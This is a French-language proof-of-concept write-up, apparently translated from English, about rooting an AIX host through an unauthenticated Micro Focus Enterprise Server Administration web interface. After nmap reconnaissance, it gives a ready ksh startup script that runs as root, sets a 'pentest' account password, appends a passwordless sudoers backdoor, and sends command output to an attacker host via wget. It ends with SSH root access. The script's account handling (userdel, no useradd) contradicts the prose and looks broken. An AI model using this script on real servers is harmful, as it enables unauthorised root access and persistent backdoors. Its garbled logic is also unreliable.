Exploiting Micro Focus Enterprise Server Administration (ESA) 1.09.56 to root the host
Micro Focus Enterprise Server Administration (ESA) est une interface Web utilisée pour gérer les applications COBOL.
La preuve de concept suivante a été testée par sur un Micro Focus Enterprise Server Administration (ESA) 1.09.56 fonctionnant sous IBM AIX 7.1.
Reconnaissance
Le service d’administration de Micro Focus Enterprise Server Administration (ESA) s’exécute généralement sur le port 86 / tcp
et est détecté comme mfcobol
par nmap
.
Nmap scan report for vulnserver.com (10.0.0.1)
Host is up (0.0021s latency).
Not shown: 65571 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
| 2048 01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:00 (RSA)
| 256 01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:00 (ECDSA)
|_ 256 01:02:03:04:05:06:07:08:09:0a:0b:0c:0d:0e:0f:00 (ED25519)
23/tcp open telnet AIX telnetd
86/tcp open mfcobol?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 200 OK
| Server: Micro Focus DSD 1.0.0
| Cache-control: no-cache
| Pragma: no-cache
| Expires: -1
| Content-Type: text/html
| Set-Cookie: MF_CLIENT=mfuser ; path=/;
| MF-Cookie-1: MF_CLIENT=mfuser ;
| Set-Cookie: MF_SESSION=5f7c316e ; path=/;
| MF-Cookie-2: MF_SESSION=5f7c316e ;
| Set-Cookie: MF_CONTACT=1797225151 ; path=/;
| MF-Cookie-3: MF_CONTACT=1797225151 ;
| Content-Length: 81333
| <HTML>
| <head>
| <meta name="robots" content="noindex">
| <meta name="author" lang="en" content="Micro Focus International">
| <meta name="copyright" lang="en" content="© 2001-2008 Micro Focus International">
| <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
| <title>
| 10.0.0.1 (vulnserver.com:86):
| GetRequest:
| HTTP/1.0 200 OK
| Server: Micro Focus DSD 1.0.0
| Cache-control: no-cache
| Pragma: no-cache
| Expires: -1
| Content-Type: text/html
| Set-Cookie: MF_CLIENT=mfuser ; path=/;
| MF-Cookie-1: MF_CLIENT=mfuser ;
| Set-Cookie: MF_SESSION=5f7c316e ; path=/;
| MF-Cookie-2: MF_SESSION=5f7c316e ;
| Set-Cookie: MF_CONTACT=1797225151 ; path=/;
| MF-Cookie-3: MF_CONTACT=1797225151 ;
| Content-Length: 81333
| <HTML>
| <head>
| <meta name="robots" content="noindex">
| <meta name="author" lang="en" content="Micro Focus International">
| <meta name="copyright" lang="en" content="© 2001-2008 Micro Focus International">
| <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
| <title>
|_ 10.0.0.1 (vulnserver.com:86):
Device type: general purpose
Running: IBM AIX 5.X|6.X|7.X
OS CPE: cpe:/o:ibm:aix:5 cpe:/o:ibm:aix:6 cpe:/o:ibm:aix:7
OS details: IBM AIX 5.3 - 7.1
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: VULNSRV; OSs: Unix, AIX; CPE: cpe:/o:ibm:aix
Host script results:
| nbstat: NetBIOS name: VULNSRV, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| VULNSRV<00> Flags: <unique><active>
| VULNSRV<03> Flags: <unique><active>
|_ VULNSRV<20> Flags: <unique><active>
| smb-security-mode:
| account_used: guest
| authentication_level: share (dangerous)
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Initial access
Au cours de mes recherches, j’ai été assez surpris qu’il n’y ait pas de page d’authentification pour accéder à la page Web du MicroFocus Enterprise Server Administration (ESA) sur http://10.0.0.1:86.
Nous pouvons maintenant commencer à explorer pour trouver des comportements intéressants!
Getting code execution on the server
Après avoir exploré les différentes pages que nous avons dans l’interface, nous constatons que nous pouvons créer et démarrer de nouvelles applications COBOL en cliquant sur Ajouter
en bas de la page d’accueil.
Sur la page de création d’une nouvelle application, nous pouvons modifier divers paramètres concernant notre application. Un paramètre intéressant est la possibilité d’ajouter un script shell de démarrage qui sera exécuté avant de démarrer l’application COBOL. Mieux encore, nous pouvons spécifier l’ID utilisateur sous lequel notre script sera exécuté.
Par conséquent, nous avons juste besoin de créer une nouvelle application dans l’interface (nommée “REVSHELL") et d’ajouter un script simple pour créer un nouvel utilisateur et l’ajouter aux sudoers pour pouvoir exécuter n’importe quel programme en tant que root
sans mot de passe (configuration : backdoor ALL = (ALL) NOPASSWD: ALL
).
#!/bin/ksh
REVIP="10.0.0.2" # Your attacker machine
REVPORT="8081"
# Credentials of the account to create
USER="pentest"
PASSWORD="pentest"
wget "http://${REVIP}:${REVPORT}/" \
--output-file=/dev/null \
--user-agent="$(/usr/sbin/userdel ${USER}), $(echo "${USER}:${PASSWORD}" | /usr/bin/chpasswd 2>&1), $(echo "${USER} ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers 2>&1)" \
2>/dev/null
casstart
Important: Il est essentiel de ne pas oublier de mettre casstart
à la fin du script, car cette commande lance en fait l’application COBOL après notre script.
Nous définissons maintenant l’ID utilisateur sur «0» pour exécuter notre script en tant que «root», et cliquez sur «Appliquer» pour créer notre nouvelle application. Attendez quelques minutes et l’utilisateur devrait avoir été créé.
Accès SSH
Lorsque votre application “REVSHELL” a démarré au moins une fois, vous devriez pouvoir vous connecter via SSH en utilisant votre compte pentest: pentest
:
Comme nous avons ajouté ce compte au groupe sudo
, nous sommes maintenant root sur le serveur hôte!